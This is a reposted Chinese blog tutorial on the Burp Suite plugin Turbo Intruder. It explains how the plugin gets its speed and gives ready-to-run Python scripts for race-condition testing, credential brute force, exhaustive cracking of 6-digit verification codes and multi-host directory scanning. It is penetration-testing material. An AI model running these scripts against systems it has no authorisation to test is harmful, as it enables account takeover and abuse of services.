bp挖洞插件-记录

Turbo Intruder 使用 - 拥抱十亿请求攻击

Turbo Intruder 简介

Turbo Intruder 是一个 BurpSuite 插件,用于发送大量HTTP请求并分析结果。它的设计目的是补充 Intruder 的不足。它的特点如下:

快速 -Turbo Intruder 使用了一个重写的 HTTP 栈 ,用于提升速度。在许多目标上,它甚至可能超过流行的异步 Go 脚本。
可扩展 -Turbo Intruder 运行时使用很少的内存,从而可以连续运行几天。同时可以脱离 burpsuite 在命令行下使用。
灵活 - Turbo Intruder 的攻击是使用 Python 配置的。这样可以处理复杂的要求,例如签名的请求和多步攻击序列。此外,自定义 HTTP 栈意味着它可以处理其他库无法处理的畸形格式请求。
方便 - 它的结果可以通过 Backslash Powered Scanner 的高级差异算法自动过滤。这意味着您可以单击两次即可发起攻击并获得有用的结果。

有多快

这速度是什么概念呢?以 6 位数验证码的爆破为例,一共 1000000 个请求, 每秒 20000个请求, 只需 50 秒即可爆破成功,即使你的验证码有效期是 1 分钟,也会被暴力破解!所以不要认为6位的验证码就足够安全!

当然,上面的速度是比较极限的,应该是在云主机 vps 上的带宽使用 burpsuite 。

我们的家用网络一般达不到这种速度,但每秒几百个请求还是很轻松的,以每秒 1000 个请求计算, 6位数的验证码,1000000个请求,也只需1000秒,也就是16分钟即可破解。

Turbo Intruder 底层原理

Turbo Intruder 使用自定义的 HTTP 栈来和服务器进行通信。
首先它会使 Connection: keepalive 头发起 HTTP 请求,如果是使用默认的 Connection: close 头,那么每次和服务器建立 HTTP 请求时都要重新建立一条 TCP 连接,这样比较浪费时间。

Connection: keepalive 头可以复用同一条 TCP 连接来发送多个 HTTP 请求, 这样就可以节省重复建立 TCP 连接的时间。 从下图可以看出,使用 Connection: keepalive 头后速度是原来的 400% 。

另外, 它还使用了 HTTP Pipelining (HTTP 管道)的方式来发送 HTTP 请求,这种方式会一次性发送几十个 HTTP 请求到服务器, 然后再一次性读取几十个请求响应。通过 HTTP 管道的方式,速度是一开始的 6000% !

使用

我们继续提升管道数为 10 ,速度提升到了 2634 , 但 Retries 达到了 41, 也就是需要重新发送的请求变多了,意味着网络不稳定了。因此我们对这个目标选择 concurrentConnections=5, requestsPerConnection=100, pipeline=True 作为最佳的参数。
image
image

应用

1.测试并发漏洞

race.py

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=False
                           )
​
# the 'gate' argument blocks the final byte of each request until openGate is invoked
	for i in range(30):
        engine.queue(target.req, target.baseInput, gate='race1')
​
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
    engine.openGate('race1')
​
    engine.complete(timeout=60)
​
​
def handleResponse(req, interesting):
    table.add(req)

2.爆破账号密码

default.py
与扫描目录使用同个脚本

from urllib import quote
​
def password_brute(target,engine):
  for word in open('/Users/mac/safe/web/brute/mypass.txt'):
        engine.queue(target.req, quote(word.rstrip()))
​
def user_brute(target,engine):
  for word in open('/Users/mac/safe/web/brute/myuser.txt'):
        engine.queue(target.req, quote(word.rstrip()))
 
def user_password_brute(target, engine):
  for password in open('/Users/mac/safe/web/brute/passwordtop100.txt'):
    for user in open('/Users/mac/safe/web/brute/usertop100.txt'):
            engine.queue(target.req, [quote(user.rstrip()),quote(password.rstrip())])
​
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
            concurrentConnections=30,
            requestsPerConnection=100,
            pipeline=False
            )
    #user_brute(target,engine)
    #password_brute(target,engine)
    user_password_brute(target,engine)
​
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
    if req.status == 302:
       table.add(req)

3.爆破验证码

from itertools import product
​
def brute_veify_code(target, engine, length):
    pattern = '1234567890'
    for i in list(product(pattern, repeat=length)):
         code =  ''.join(i)
         engine.queue(target.req, code)
​
​
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
            concurrentConnections=30,
            requestsPerConnection=100,
            pipeline=True
            )
    brute_veify_code(target, engine, 6)
​
​
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
  if 'error' not in req.response:
       table.add(req)

4.对多个目标进行目录扫描

def mult_host_dir_brute():
    req = '''GET /%s HTTP/1.1
Host: %s
Connection: keep-alive
​
'''
    engines = {}
for url in open('/Users/mac/temp/urls.txt'):
        url = url.rstrip()
        engine = RequestEngine(endpoint=url, 
            concurrentConnections=5,
            requestsPerConnection=100,
            pipeline=True)
        engines[url] = engine
        
for word in open('/Users/mac/safe/web/brute/all.txt'):
        word = word.rstrip()
for (url, engine) in engines.items():
            domain = url.split('/')[2]
            engine.queue(req, [word, domain])
​
def queueRequests(target, wordlists):
    mult_host_dir_brute()
​
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
  if req.status != 404:
       table.add(req)

其中 urls.txt 里面存放了两个首页的 URL:

https://www.baidu.com
http://172.16.108.176
代码中第9行处定义了一个请求模板,里面两个插入点 %s ,一个是路径的位置,一个是 Host 头的位置, 接着在第8至14行为每个请求新建一个请求 engine, 每个 engine 负责扫描一个 URL, 在16-20行添加字典进队列进行扫描。

这时可以用随便一个请求来打开 Turbo Intruder 窗口,输入上面代码,把要扫描的 url 放到 urls.txt 即可扫描。

注意,需要在第8和16行处替换成你自己的 urls.txt 和目录字典的路径。
image
image

5.总体代码

from urllib import quote
from itertools import product
​
def concurrency(target,engine):
    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    for i in range(30):
        engine.queue(target.req, gate='race1')
    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')
    engine.complete(timeout=60)
​
def parameter_brute(target,engine):
    for word in open('/Users/mac/safe/web/brute/AllParam.txt'):
        engine.queue(target.req, word.rstrip())
​
def dir_brute(target, engine):
    
    for word in open('/Users/mac/safe/web/brute/dir_scan/all_dir.txt'):
    #for word in open('/Users/mac/safe/web/brute/all.txt'):
        engine.queue(target.req, word.rstrip())
​
def mult_host_dir_brute():
    req = '''GET /%s HTTP/1.1
Host: %s
Connection: keep-alive
​
'''
    engines = {}
    for url in open('/Users/mac/temp/urls.txt'):
        url = url.rstrip()
        engine = RequestEngine(endpoint=url, 
            concurrentConnections=5,
            requestsPerConnection=100,
            pipeline=True)
        engines[url] = engine
​
    for word in open('/Users/mac/safe/web/brute/all.txt'):
        word = word.rstrip()
        for (url, engine) in engines.items():
            domain = url.split('/')[2]
            engine.queue(req, [word, domain])
​
def password_brute(target,engine):
    for word in open('/Users/mac/safe/web/brute/mypass.txt'):
        engine.queue(target.req, quote(word.rstrip()))
​
def user_brute(target,engine):
    for word in open('/Users/mac/safe/web/brute/myuser.txt'):
        engine.queue(target.req, quote(word.rstrip()))
​
​
def user_password_brute(target, engine):
    for password in open('/Users/mac/safe/web/brute/passwordtop100.txt'):
        for user in open('/Users/mac/safe/web/brute/usertop100.txt'):
            engine.queue(target.req, [quote(user.rstrip()),quote(password.rstrip())])
        
def brute_veify_code(target, engine, length):
#    pattern = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
    pattern = '1234567890'
    for i in list(product(pattern, repeat=length)):
         code =  ''.join(i)
         engine.queue(target.req, code)
​
​
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
            concurrentConnections=30,
            requestsPerConnection=100,
            pipeline=True
            )
    #brute_veify_code(target, engine, 5)
    dir_brute(target, engine)
    #user_brute(target,engine)
    #concurrency(target,engine)
    #password_brute(target,engine)
    #user_password_brute(target,engine)
    #mult_host_dir_brute()
def handleResponse(req, interesting):
    # currently available attributes are req.status, req.wordcount, req.length and req.response
    if req.status != 404 and req.status != 302:
    #if req.wordcount != 1197 and req.wordcount != 1196:
    #if 'success' in req.response:
    #if req.length == 461:
    #if interesting:
       table.add(req)

————————————————
版权声明:本文为CSDN博主「TimeShatter」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_28205153/article/details/113832488

posted @ 2023-08-06 22:59  菜就多练forever  阅读(718)  评论(0)    收藏  举报